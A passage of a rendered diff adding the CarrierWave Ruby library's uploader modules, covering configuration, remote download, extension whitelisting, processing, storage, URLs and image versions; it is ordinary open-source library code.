|
||||||
|
self._after_callbacks = self._after_callbacks.
|
||||||
|
merge kind => _after_callbacks[kind] + [callback]
|
||||||
|
end
|
||||||
|
end # ClassMethods
|
||||||
|
|
||||||
|
end # Callbacks
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,136 @@
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
module Uploader
|
||||||
|
module Configuration
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
included do
|
||||||
|
class_attribute :_storage, :instance_writer => false
|
||||||
|
|
||||||
|
add_config :root
|
||||||
|
add_config :base_path
|
||||||
|
add_config :permissions
|
||||||
|
add_config :storage_engines
|
||||||
|
add_config :store_dir
|
||||||
|
add_config :cache_dir
|
||||||
|
add_config :enable_processing
|
||||||
|
add_config :ensure_multipart_form
|
||||||
|
add_config :delete_tmp_file_after_storage
|
||||||
|
add_config :move_to_cache
|
||||||
|
add_config :move_to_store
|
||||||
|
add_config :remove_previously_stored_files_after_update
|
||||||
|
|
||||||
|
# fog
|
||||||
|
add_config :fog_attributes
|
||||||
|
add_config :fog_credentials
|
||||||
|
add_config :fog_directory
|
||||||
|
add_config :fog_host
|
||||||
|
add_config :fog_public
|
||||||
|
add_config :fog_authenticated_url_expiration
|
||||||
|
|
||||||
|
# Mounting
|
||||||
|
add_config :ignore_integrity_errors
|
||||||
|
add_config :ignore_processing_errors
|
||||||
|
add_config :validate_integrity
|
||||||
|
add_config :validate_processing
|
||||||
|
add_config :mount_on
|
||||||
|
|
||||||
|
# set default values
|
||||||
|
reset_config
|
||||||
|
end
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Sets the storage engine to be used when storing files with this uploader.
|
||||||
|
# Can be any class that implements a #store!(CarrierWave::SanitizedFile) and a #retrieve!
|
||||||
|
# method. See lib/carrierwave/storage/file.rb for an example. Storage engines should
|
||||||
|
# be added to CarrierWave::Uploader::Base.storage_engines so they can be referred
|
||||||
|
# to by a symbol, which should be more convenient
|
||||||
|
#
|
||||||
|
# If no argument is given, it will simply return the currently used storage engine.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [storage (Symbol, Class)] The storage engine to use for this uploader
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Class] the storage engine to be used with this uploader
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# storage :file
|
||||||
|
# storage CarrierWave::Storage::File
|
||||||
|
# storage MyCustomStorageEngine
|
||||||
|
#
|
||||||
|
def storage(storage = nil)
|
||||||
|
if storage
|
||||||
|
self._storage = storage.is_a?(Symbol) ? eval(storage_engines[storage]) : storage
|
||||||
|
end
|
||||||
|
_storage
|
||||||
|
end
|
||||||
|
alias_method :storage=, :storage
|
||||||
|
|
||||||
|
def add_config(name)
|
||||||
|
class_eval <<-RUBY, __FILE__, __LINE__ + 1
|
||||||
|
def self.#{name}(value=nil)
|
||||||
|
@#{name} = value if value
|
||||||
|
return @#{name} if self.object_id == #{self.object_id} || defined?(@#{name})
|
||||||
|
name = superclass.#{name}
|
||||||
|
return nil if name.nil? && !instance_variable_defined?("@#{name}")
|
||||||
|
@#{name} = name && !name.is_a?(Module) && !name.is_a?(Symbol) && !name.is_a?(Numeric) && !name.is_a?(TrueClass) && !name.is_a?(FalseClass) ? name.dup : name
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.#{name}=(value)
|
||||||
|
@#{name} = value
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{name}
|
||||||
|
value = self.class.#{name}
|
||||||
|
value.instance_of?(Proc) ? value.call : value
|
||||||
|
end
|
||||||
|
RUBY
|
||||||
|
end
|
||||||
|
|
||||||
|
def configure
|
||||||
|
yield self
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# sets configuration back to default
|
||||||
|
#
|
||||||
|
def reset_config
|
||||||
|
configure do |config|
|
||||||
|
config.permissions = 0644
|
||||||
|
config.storage_engines = {
|
||||||
|
:file => "CarrierWave::Storage::File",
|
||||||
|
:fog => "CarrierWave::Storage::Fog"
|
||||||
|
}
|
||||||
|
config.storage = :file
|
||||||
|
config.fog_attributes = {}
|
||||||
|
config.fog_credentials = {}
|
||||||
|
config.fog_public = true
|
||||||
|
config.fog_authenticated_url_expiration = 600
|
||||||
|
config.store_dir = 'uploads'
|
||||||
|
config.cache_dir = 'uploads/tmp'
|
||||||
|
config.delete_tmp_file_after_storage = true
|
||||||
|
config.move_to_cache = false
|
||||||
|
config.move_to_store = false
|
||||||
|
config.remove_previously_stored_files_after_update = true
|
||||||
|
config.ignore_integrity_errors = true
|
||||||
|
config.ignore_processing_errors = true
|
||||||
|
config.validate_integrity = true
|
||||||
|
config.validate_processing = true
|
||||||
|
config.root = lambda { CarrierWave.root }
|
||||||
|
config.base_path = CarrierWave.base_path
|
||||||
|
config.enable_processing = true
|
||||||
|
config.ensure_multipart_form = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module DefaultUrl
|
||||||
|
|
||||||
|
def url(*args)
|
||||||
|
super || default_url
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Override this method in your uploader to provide a default url
|
||||||
|
# in case no file has been cached/stored yet.
|
||||||
|
#
|
||||||
|
def default_url; end
|
||||||
|
|
||||||
|
end # DefaultPath
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,75 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'open-uri'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Download
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
include CarrierWave::Uploader::Configuration
|
||||||
|
include CarrierWave::Uploader::Cache
|
||||||
|
|
||||||
|
class RemoteFile
|
||||||
|
def initialize(uri)
|
||||||
|
@uri = uri
|
||||||
|
end
|
||||||
|
|
||||||
|
def original_filename
|
||||||
|
File.basename(file.base_uri.path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def respond_to?(*args)
|
||||||
|
super or file.respond_to?(*args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def http?
|
||||||
|
@uri.scheme =~ /^https?$/
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def file
|
||||||
|
if @file.blank?
|
||||||
|
@file = Kernel.open(@uri.to_s)
|
||||||
|
@file = @file.is_a?(String) ? StringIO.new(@file) : @file
|
||||||
|
end
|
||||||
|
@file
|
||||||
|
end
|
||||||
|
|
||||||
|
def method_missing(*args, &block)
|
||||||
|
file.send(*args, &block)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Caches the file by downloading it from the given URL.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [url (String)] The URL where the remote file is stored
|
||||||
|
#
|
||||||
|
def download!(uri)
|
||||||
|
unless uri.blank?
|
||||||
|
processed_uri = process_uri(uri)
|
||||||
|
file = RemoteFile.new(processed_uri)
|
||||||
|
raise CarrierWave::DownloadError, "trying to download a file which is not served over HTTP" unless file.http?
|
||||||
|
cache!(file)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Processes the given URL by parsing and escaping it. Public to allow overriding.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [url (String)] The URL where the remote file is stored
|
||||||
|
#
|
||||||
|
def process_uri(uri)
|
||||||
|
URI.parse(URI.escape(URI.unescape(uri)).gsub("[", "%5B").gsub("]", "%5D").gsub("+", "%2B"))
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Download
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,49 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module ExtensionWhitelist
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
included do
|
||||||
|
before :cache, :check_whitelist!
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Override this method in your uploader to provide a white list of extensions which
|
||||||
|
# are allowed to be uploaded. Compares the file's extension case insensitive.
|
||||||
|
# Furthermore, not only strings but Regexp are allowed as well.
|
||||||
|
#
|
||||||
|
# When using a Regexp in the white list, `\A` and `\z` are automatically added to
|
||||||
|
# the Regexp expression, also case insensitive.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [NilClass, Array[String,Regexp]] a white list of extensions which are allowed to be uploaded
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# def extension_white_list
|
||||||
|
# %w(jpg jpeg gif png)
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# Basically the same, but using a Regexp:
|
||||||
|
#
|
||||||
|
# def extension_white_list
|
||||||
|
# [/jpe?g/, 'gif', 'png']
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
def extension_white_list; end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def check_whitelist!(new_file)
|
||||||
|
extension = new_file.extension.to_s
|
||||||
|
if extension_white_list and not extension_white_list.detect { |item| extension =~ /\A#{item}\z/i }
|
||||||
|
raise CarrierWave::IntegrityError, I18n.translate(:"errors.messages.extension_white_list_error", :extension => new_file.extension.inspect, :allowed_types => extension_white_list.inspect)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # ExtensionWhitelist
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,39 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Mountable
|
||||||
|
|
||||||
|
attr_reader :model, :mounted_as
|
||||||
|
|
||||||
|
##
|
||||||
|
# If a model is given as the first parameter, it will be stored in the uploader, and
|
||||||
|
# available throught +#model+. Likewise, mounted_as stores the name of the column
|
||||||
|
# where this instance of the uploader is mounted. These values can then be used inside
|
||||||
|
# your uploader.
|
||||||
|
#
|
||||||
|
# If you do not wish to mount your uploaders with the ORM extensions in -more then you
|
||||||
|
# can override this method inside your uploader. Just be sure to call +super+
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [model (Object)] Any kind of model object
|
||||||
|
# [mounted_as (Symbol)] The name of the column where this uploader is mounted
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
#
|
||||||
|
# def store_dir
|
||||||
|
# File.join('public', 'files', mounted_as, model.permalink)
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
def initialize(model=nil, mounted_as=nil)
|
||||||
|
@model = model
|
||||||
|
@mounted_as = mounted_as
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Mountable
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,92 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Processing
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
|
||||||
|
included do
|
||||||
|
class_attribute :processors, :instance_writer => false
|
||||||
|
self.processors = []
|
||||||
|
|
||||||
|
after :cache, :process!
|
||||||
|
end
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Adds a processor callback which applies operations as a file is uploaded.
|
||||||
|
# The argument may be the name of any method of the uploader, expressed as a symbol,
|
||||||
|
# or a list of such methods, or a hash where the key is a method and the value is
|
||||||
|
# an array of arguments to call the method with
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# args (*Symbol, Hash{Symbol => Array[]})
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
#
|
||||||
|
# process :sepiatone, :vignette
|
||||||
|
# process :scale => [200, 200]
|
||||||
|
# process :scale => [200, 200], :if => :image?
|
||||||
|
# process :sepiatone, :if => :image?
|
||||||
|
#
|
||||||
|
# def sepiatone
|
||||||
|
# ...
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# def vignette
|
||||||
|
# ...
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# def scale(height, width)
|
||||||
|
# ...
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# def image?
|
||||||
|
# ...
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
def process(*args)
|
||||||
|
if !args.first.is_a?(Hash) && args.last.is_a?(Hash)
|
||||||
|
conditions = args.pop
|
||||||
|
args.map!{ |arg| {arg => []}.merge(conditions) }
|
||||||
|
end
|
||||||
|
|
||||||
|
args.each do |arg|
|
||||||
|
if arg.is_a?(Hash)
|
||||||
|
condition = arg.delete(:if)
|
||||||
|
arg.each do |method, args|
|
||||||
|
self.processors += [[method, args, condition]]
|
||||||
|
end
|
||||||
|
else
|
||||||
|
self.processors += [[arg, [], nil]]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Apply all process callbacks added through CarrierWave.process
|
||||||
|
#
|
||||||
|
def process!(new_file=nil)
|
||||||
|
if enable_processing
|
||||||
|
self.class.processors.each do |method, args, condition|
|
||||||
|
if(condition)
|
||||||
|
next if !(condition.respond_to?(:call) ? condition.call(self, :args => args, :method => method, :file => new_file) : self.send(condition, new_file))
|
||||||
|
end
|
||||||
|
self.send(method, *args)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Processing
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,77 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Proxy
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] Whether the uploaded file is blank
|
||||||
|
#
|
||||||
|
def blank?
|
||||||
|
file.blank?
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the path where the file is currently located.
|
||||||
|
#
|
||||||
|
def current_path
|
||||||
|
file.path if file.respond_to?(:path)
|
||||||
|
end
|
||||||
|
|
||||||
|
alias_method :path, :current_path
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns a string that uniquely identifies the last stored file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] uniquely identifies a file
|
||||||
|
#
|
||||||
|
def identifier
|
||||||
|
storage.identifier if storage.respond_to?(:identifier)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Read the contents of the file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] contents of the file
|
||||||
|
#
|
||||||
|
def read
|
||||||
|
file.read if file.respond_to?(:read)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Fetches the size of the currently stored/cached file
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Integer] size of the file
|
||||||
|
#
|
||||||
|
def size
|
||||||
|
file.respond_to?(:size) ? file.size : 0
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return the size of the file when asked for its length
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Integer] size of the file
|
||||||
|
#
|
||||||
|
# === Note
|
||||||
|
#
|
||||||
|
# This was added because of the way Rails handles length/size validations in 3.0.6 and above.
|
||||||
|
#
|
||||||
|
def length
|
||||||
|
size
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Proxy
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,23 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Remove
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
|
||||||
|
##
|
||||||
|
# Removes the file and reset it
|
||||||
|
#
|
||||||
|
def remove!
|
||||||
|
with_callbacks(:remove) do
|
||||||
|
@file.delete if @file
|
||||||
|
@file = nil
|
||||||
|
@cache_id = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Remove
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,30 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require "active_support/json"
|
||||||
|
require "active_support/core_ext/hash"
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Serialization
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
def serializable_hash
|
||||||
|
{"url" => url}.merge Hash[versions.map { |name, version| [name, { "url" => version.url }] }]
|
||||||
|
end
|
||||||
|
|
||||||
|
def as_json(options=nil)
|
||||||
|
Hash[mounted_as || "uploader", serializable_hash]
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_json
|
||||||
|
ActiveSupport::JSON.encode(as_json)
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_xml(options={})
|
||||||
|
merged_options = options.merge(:root => mounted_as || "uploader", :type => 'uploader')
|
||||||
|
serializable_hash.to_xml(merged_options)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,111 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Store
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
include CarrierWave::Uploader::Configuration
|
||||||
|
include CarrierWave::Uploader::Cache
|
||||||
|
|
||||||
|
##
|
||||||
|
# Override this in your Uploader to change the filename.
|
||||||
|
#
|
||||||
|
# Be careful using record ids as filenames. If the filename is stored in the database
|
||||||
|
# the record id will be nil when the filename is set. Don't use record ids unless you
|
||||||
|
# understand this limitation.
|
||||||
|
#
|
||||||
|
# Do not use the version_name in the filename, as it will prevent versions from being
|
||||||
|
# loaded correctly.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] a filename
|
||||||
|
#
|
||||||
|
def filename
|
||||||
|
@filename
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Calculates the path where the file should be stored. If +for_file+ is given, it will be
|
||||||
|
# used as the filename, otherwise +CarrierWave::Uploader#filename+ is assumed.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [for_file (String)] name of the file <optional>
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the store path
|
||||||
|
#
|
||||||
|
def store_path(for_file=filename)
|
||||||
|
File.join([store_dir, full_filename(for_file)].compact)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Stores the file by passing it to this Uploader's storage engine.
|
||||||
|
#
|
||||||
|
# If new_file is omitted, a previously cached file will be stored.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [new_file (File, IOString, Tempfile)] any kind of file object
|
||||||
|
#
|
||||||
|
def store!(new_file=nil)
|
||||||
|
cache!(new_file) if new_file && ((@cache_id != parent_cache_id) || @cache_id.nil?)
|
||||||
|
if @file and @cache_id
|
||||||
|
with_callbacks(:store, new_file) do
|
||||||
|
new_file = storage.store!(@file)
|
||||||
|
@file.delete if (delete_tmp_file_after_storage && ! move_to_store)
|
||||||
|
delete_cache_id
|
||||||
|
@file = new_file
|
||||||
|
@cache_id = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Deletes a cache id (tmp dir in cache)
|
||||||
|
#
|
||||||
|
def delete_cache_id
|
||||||
|
if @cache_id
|
||||||
|
path = File.expand_path(File.join(cache_dir, @cache_id), CarrierWave.root)
|
||||||
|
begin
|
||||||
|
Dir.rmdir(path)
|
||||||
|
rescue Errno::ENOENT
|
||||||
|
# Ignore: path does not exist
|
||||||
|
rescue Errno::ENOTDIR
|
||||||
|
# Ignore: path is not a dir
|
||||||
|
rescue Errno::ENOTEMPTY, Errno::EEXIST
|
||||||
|
# Ignore: dir is not empty
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Retrieves the file from the storage.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [identifier (String)] uniquely identifies the file to retrieve
|
||||||
|
#
|
||||||
|
def retrieve_from_store!(identifier)
|
||||||
|
with_callbacks(:retrieve_from_store, identifier) do
|
||||||
|
@file = storage.retrieve!(identifier)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def full_filename(for_file)
|
||||||
|
for_file
|
||||||
|
end
|
||||||
|
|
||||||
|
def storage
|
||||||
|
@storage ||= self.class.storage.new(self)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Store
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,32 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Url
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
include CarrierWave::Uploader::Configuration
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [Hash] optional, the query params (only AWS)
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the location where this file is accessible via a url
|
||||||
|
#
|
||||||
|
def url(options = {})
|
||||||
|
if file.respond_to?(:url) and not file.url.blank?
|
||||||
|
file.method(:url).arity == 0 ? file.url : file.url(options)
|
||||||
|
elsif current_path
|
||||||
|
(base_path || "") + File.expand_path(current_path).gsub(File.expand_path(root), '')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
url || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Url
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,254 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Uploader
|
||||||
|
module Versions
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
include CarrierWave::Uploader::Callbacks
|
||||||
|
|
||||||
|
included do
|
||||||
|
class_attribute :versions, :version_names, :instance_reader => false, :instance_writer => false
|
||||||
|
|
||||||
|
self.versions = {}
|
||||||
|
self.version_names = []
|
||||||
|
|
||||||
|
attr_accessor :parent_cache_id
|
||||||
|
|
||||||
|
after :cache, :assign_parent_cache_id
|
||||||
|
after :cache, :cache_versions!
|
||||||
|
after :store, :store_versions!
|
||||||
|
after :remove, :remove_versions!
|
||||||
|
after :retrieve_from_cache, :retrieve_versions_from_cache!
|
||||||
|
after :retrieve_from_store, :retrieve_versions_from_store!
|
||||||
|
end
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Adds a new version to this uploader
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [name (#to_sym)] name of the version
|
||||||
|
# [options (Hash)] optional options hash
|
||||||
|
# [&block (Proc)] a block to eval on this version of the uploader
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
#
|
||||||
|
# version :thumb do
|
||||||
|
# process :scale => [200, 200]
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# version :preview, :if => :image? do
|
||||||
|
# process :scale => [200, 200]
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
def version(name, options = {}, &block)
|
||||||
|
name = name.to_sym
|
||||||
|
unless versions[name]
|
||||||
|
uploader = Class.new(self)
|
||||||
|
uploader.versions = {}
|
||||||
|
|
||||||
|
# Define the enable_processing method for versions so they get the
|
||||||
|
# value from the parent class unless explicitly overwritten
|
||||||
|
uploader.class_eval <<-RUBY, __FILE__, __LINE__ + 1
|
||||||
|
def self.enable_processing(value=nil)
|
||||||
|
self.enable_processing = value if value
|
||||||
|
if !@enable_processing.nil?
|
||||||
|
@enable_processing
|
||||||
|
else
|
||||||
|
superclass.enable_processing
|
||||||
|
end
|
||||||
|
end
|
||||||
|
RUBY
|
||||||
|
|
||||||
|
# Add the current version hash to class attribute :versions
|
||||||
|
current_version = {}
|
||||||
|
current_version[name] = {
|
||||||
|
:uploader => uploader,
|
||||||
|
:options => options
|
||||||
|
}
|
||||||
|
self.versions = versions.merge(current_version)
|
||||||
|
|
||||||
|
versions[name][:uploader].version_names += [name]
|
||||||
|
|
||||||
|
class_eval <<-RUBY
|
||||||
|
def #{name}
|
||||||
|
versions[:#{name}]
|
||||||
|
end
|
||||||
|
RUBY
|
||||||
|
# as the processors get the output from the previous processors as their
|
||||||
|
# input we must not stack the processors here
|
||||||
|
versions[name][:uploader].processors = versions[name][:uploader].processors.dup
|
||||||
|
versions[name][:uploader].processors.clear
|
||||||
|
end
|
||||||
|
versions[name][:uploader].class_eval(&block) if block
|
||||||
|
versions[name]
|
||||||
|
end
|
||||||
|
|
||||||
|
def recursively_apply_block_to_versions(&block)
|
||||||
|
versions.each do |name, version|
|
||||||
|
version[:uploader].class_eval(&block)
|
||||||
|
version[:uploader].recursively_apply_block_to_versions(&block)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end # ClassMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns a hash mapping the name of each version of the uploader to an instance of it
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Hash{Symbol => CarrierWave::Uploader}] a list of uploader instances
|
||||||
|
#
|
||||||
|
def versions
|
||||||
|
return @versions if @versions
|
||||||
|
@versions = {}
|
||||||
|
self.class.versions.each do |name, version|
|
||||||
|
@versions[name] = version[:uploader].new(model, mounted_as)
|
||||||
|
end
|
||||||
|
@versions
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the name of this version of the uploader
|
||||||
|
#
|
||||||
|
def version_name
|
||||||
|
self.class.version_names.join('_').to_sym unless self.class.version_names.blank?
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# When given a version name as a parameter, will return the url for that version
|
||||||
|
# This also works with nested versions.
|
||||||
|
# When given a query hash as a parameter, will return the url with signature that contains query params
|
||||||
|
# Query hash only works with AWS (S3 storage).
|
||||||
|
#
|
||||||
|
# === Example
|
||||||
|
#
|
||||||
|
# my_uploader.url # => /path/to/my/uploader.gif
|
||||||
|
# my_uploader.url(:thumb) # => /path/to/my/thumb_uploader.gif
|
||||||
|
# my_uploader.url(:thumb, :small) # => /path/to/my/thumb_small_uploader.gif
|
||||||
|
# my_uploader.url(:query => {"response-content-disposition" => "attachment"})
|
||||||
|
# my_uploader.url(:version, :sub_version, :query => {"response-content-disposition" => "attachment"})
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [*args (Symbol)] any number of versions
|
||||||
|
# OR/AND
|
||||||
|
# [Hash] query params
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the location where this file is accessible via a url
|
||||||
|
#
|
||||||
|
def url(*args)
|
||||||
|
if (version = args.first) && version.respond_to?(:to_sym)
|
||||||
|
raise ArgumentError, "Version #{version} doesn't exist!" if versions[version.to_sym].nil?
|
||||||
|
# recursively proxy to version
|
||||||
|
versions[version.to_sym].url(*args[1..-1])
|
||||||
|
elsif args.first
|
||||||
|
super(args.first)
|
||||||
|
else
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Recreate versions and reprocess them. This can be used to recreate
|
||||||
|
# versions if their parameters somehow have changed.
|
||||||
|
#
|
||||||
|
def recreate_versions!
|
||||||
|
# Some files could possibly not be stored on the local disk. This
|
||||||
|
# doesn't play nicely with processing. Make sure that we're only
|
||||||
|
# processing a cached file
|
||||||
|
#
|
||||||
|
# The call to store! will trigger the necessary callbacks to both
|
||||||
|
# process this version and all sub-versions
|
||||||
|
cache_stored_file! if !cached?
|
||||||
|
|
||||||
|
store!
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
def assign_parent_cache_id(file)
|
||||||
|
active_versions.each do |name, uploader|
|
||||||
|
uploader.parent_cache_id = @cache_id
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def active_versions
|
||||||
|
versions.select do |name, uploader|
|
||||||
|
condition = self.class.versions[name][:options][:if]
|
||||||
|
if(condition)
|
||||||
|
